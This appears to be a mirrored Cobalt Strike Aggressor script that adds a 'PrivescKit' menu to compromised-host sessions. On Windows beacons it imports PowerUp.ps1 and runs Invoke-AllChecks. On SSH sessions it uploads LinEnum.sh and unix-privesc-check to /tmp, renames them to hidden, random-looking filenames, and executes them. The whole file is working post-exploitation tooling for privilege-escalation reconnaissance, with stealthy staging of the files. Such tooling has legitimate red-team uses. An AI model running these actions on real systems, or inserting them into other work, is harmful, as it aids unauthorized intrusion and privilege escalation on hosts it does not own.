mirror of
https://github.com/Und3rf10w/Aggressor-scripts
synced 2026-06-08 12:46:53 +00:00
47 lines
1.5 KiB
Plaintext
47 lines
1.5 KiB
Plaintext
# Actions in this kit center around endpoint privilege escalation. Actions that involve forceful scanning (powerup.ps1, unix-privesc-check) should go in the apporiate section
|
|
# @Und3rf10w
|
|
|
|
popup beacon_bottom {
|
|
menu "PrivescKit" {
|
|
menu "Scanners"{
|
|
item "All PowerUp checks"{
|
|
local('$bid');
|
|
foreach $bid ($1){
|
|
binput($bid, "powershell-import PowerUp.ps1");
|
|
bpowershell_import($bid, script_resource("PrivescKit/scripts/PowerUp.ps1"));
|
|
binput($bid, "powershell Invoke-AllChecks");
|
|
bpowershell($bid, "Invoke-AllChecks");
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
popup ssh {
|
|
menu "PrivescKit" {
|
|
menu "Scanners"{
|
|
item "Run LinEnum.sh"{
|
|
local('$bid');
|
|
foreach $bid ($1){
|
|
bcd($1, "/tmp");
|
|
bupload($1, script_resource("PrivescKit/scripts/LinEnum.sh"));
|
|
bshell($1, "mv /tmp/LinEnum.sh /tmp/.AGq4yheattttt5y.sh");
|
|
bshell($1, "chmod +x /tmp/.AGq4yheattttt5y.sh")
|
|
bshell($1, "/tmp/.AGq4yheattttt5y.sh -t");
|
|
blog($1, "Make sure you delete the /tmp/.AGq4yheattttt5y.sh file once the script is complete");
|
|
}
|
|
}
|
|
item "Run unix-privesc-check"{
|
|
local('$bid');
|
|
foreach $bid ($1){
|
|
bcd($1, "/tmp");
|
|
bupload($1, script_resource("PrivescKit/scripts/unix-privesc-check"));
|
|
bshell($1, "mv /tmp/unix-privesc-check /tmp/.AGr5qgrakHSTR");
|
|
bshell($1, "chmod +x /tmp/.AGr5qgrakHSTR");
|
|
bshell($1, "/tmp/.AGr5qgrakHSTR detailed");
|
|
blog($1, "Make sure you delete the /tmp/.AGr5qgrakHSTR file once the script is complete");
|
|
}
|
|
}
|
|
}
|
|
}
|
|
} |